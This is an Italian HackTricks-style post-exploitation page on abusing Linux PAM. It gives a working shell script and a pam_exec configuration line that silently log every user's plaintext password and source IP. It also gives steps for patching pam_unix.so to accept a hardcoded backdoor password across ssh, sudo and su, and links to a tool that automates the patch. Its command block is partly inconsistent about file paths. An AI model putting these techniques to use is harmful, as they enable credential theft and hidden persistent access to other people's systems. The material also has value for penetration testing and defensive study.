# Linux Post-Exploitation {{#include ../../banners/hacktricks-training.md}} ## Sniffing Logon Passwords with PAM Configuriamo un modulo PAM per registrare ogni password che ogni utente utilizza per accedere. Se non sai cos'è PAM, controlla: {{#ref}} pam-pluggable-authentication-modules.md {{#endref}} **Per ulteriori dettagli, controlla il [post originale](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. Questo è solo un riassunto: **Panoramica della Tecnica:** I Moduli di Autenticazione Pluggabili (PAM) offrono flessibilità nella gestione dell'autenticazione sui sistemi basati su Unix. Possono migliorare la sicurezza personalizzando i processi di accesso, ma possono anche comportare rischi se utilizzati in modo improprio. Questo riassunto delinea una tecnica per catturare le credenziali di accesso utilizzando PAM, insieme a strategie di mitigazione. **Cattura delle Credenziali:** - Uno script bash chiamato `toomanysecrets.sh` è creato per registrare i tentativi di accesso, catturando la data, il nome utente (`$PAM_USER`), la password (tramite stdin) e l'IP dell'host remoto (`$PAM_RHOST`) in `/var/log/toomanysecrets.log`. - Lo script è reso eseguibile e integrato nella configurazione PAM (`common-auth`) utilizzando il modulo `pam_exec.so` con opzioni per eseguire silenziosamente ed esporre il token di autenticazione allo script. - L'approccio dimostra come un host Linux compromesso possa essere sfruttato per registrare le credenziali in modo discreto. ```bash #!/bin/sh echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log sudo touch /var/log/toomanysecrets.sh sudo chmod 770 /var/log/toomanysecrets.sh sudo nano /etc/pam.d/common-auth # Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh sudo chmod 700 /usr/local/bin/toomanysecrets.sh ``` ### Backdooring PAM **Per ulteriori dettagli controlla il [post originale](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Questo è solo un riassunto: Il Modulo di Autenticazione Pluggabile (PAM) è un sistema utilizzato sotto Linux per l'autenticazione degli utenti. Si basa su tre concetti principali: **nome utente**, **password** e **servizio**. I file di configurazione per ogni servizio si trovano nella directory `/etc/pam.d/`, dove le librerie condivise gestiscono l'autenticazione. **Obiettivo**: Modificare PAM per consentire l'autenticazione con una password specifica, bypassando la password reale dell'utente. Questo è particolarmente focalizzato sulla libreria condivisa `pam_unix.so` utilizzata dal file `common-auth`, che è inclusa da quasi tutti i servizi per la verifica della password. ### Passi per Modificare `pam_unix.so`: 1. **Individuare la Direttiva di Autenticazione** nel file `common-auth`: - La riga responsabile del controllo della password di un utente chiama `pam_unix.so`. 2. **Modificare il Codice Sorgente**: - Aggiungere un'istruzione condizionale nel file sorgente `pam_unix_auth.c` che concede accesso se viene utilizzata una password predefinita, altrimenti procede con il normale processo di autenticazione. 3. **Ricompilare e Sostituire** la libreria modificata `pam_unix.so` nella directory appropriata. 4. **Test**: - L'accesso è concesso attraverso vari servizi (login, ssh, sudo, su, screensaver) con la password predefinita, mentre i normali processi di autenticazione rimangono inalterati. > [!NOTE] > Puoi automatizzare questo processo con [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor) {{#include ../../banners/hacktricks-training.md}}